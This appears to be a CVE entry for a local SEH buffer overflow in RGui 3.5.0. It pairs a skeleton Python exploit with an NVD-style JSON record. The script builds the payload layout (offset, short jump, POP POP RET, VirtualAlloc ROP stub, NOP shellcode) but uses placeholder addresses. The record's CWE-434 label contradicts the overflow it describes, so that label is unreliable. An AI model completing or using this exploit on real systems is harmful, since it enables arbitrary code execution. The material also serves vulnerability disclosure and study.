CVE-2018-25258

# This is a conceptual PoC for the buffer overflow in RGui 3.5.0 # It generates the malicious payload to trigger the SEH overwrite and DEP bypass. import struct # Bad characters (example) bad_chars = b"\x00\x0a\x0d" # Offset to SEH handler (needs to be calculated via debugging) offset_seh = 524 # POP POP RET address from a non-ASLR module (Example placeholder) # In a real scenario, find a reliable address from RGui's loaded DLLs (e.g., MSVCRT.dll) pop_pop_ret = struct.pack("<I", 0xAAAAAAAA) # ROP Chain to call VirtualAlloc # This is a simplified representation rop_chain = b"" rop_chain += struct.pack("<I", 0xBBBBBBBB) # Pivot rop_chain += struct.pack("<I", 0xCCCCCCCC) # VirtualAlloc # ... arguments for VirtualAlloc (lpAddress, dwSize, flAllocationType, flProtect) # Shellcode (Calc.exe example) shellcode = b"\x90" * 16 # shellcode += b"\x31\xc0..." (Real shellcode here) # Padding to align nseh = b"\xeb\x06\x90\x90" # jmp short 6 # Construct the payload payload = b"A" * offset_seh payload += nseh payload += pop_pop_ret payload += rop_chain payload += b"\x90" * 32 payload += shellcode payload += b"C" * (1000 - len(payload)) # Fill rest of buffer print(f"Payload Length: {len(payload)}") # This payload should be set in the 'Language for menus and messages' registry key or input field.

{"cve": {"id": "CVE-2018-25258", "sourceIdentifier": "[email protected]", "published": "2026-04-12T13:16:31.740", "lastModified": "2026-04-15T15:00:32.790", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "RGui 3.5.0 contains a local buffer overflow vulnerability in the GUI preferences dialog that allows attackers to bypass DEP protections through structured exception handling exploitation. Attackers can craft malicious input in the Language for menus and messages field to trigger a stack-based buffer overflow, execute a ROP chain for VirtualAlloc allocation, and achieve arbitrary code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://cran.r-project.org/bin/windows/base/old/3.5.0/R-3.5.0-win.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46107", "source": "[email protected]"}, {"url": "https://www.r-project.org/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/rgui-local-buffer-overflow-seh-dep-bypass", "source": "[email protected]"}]}}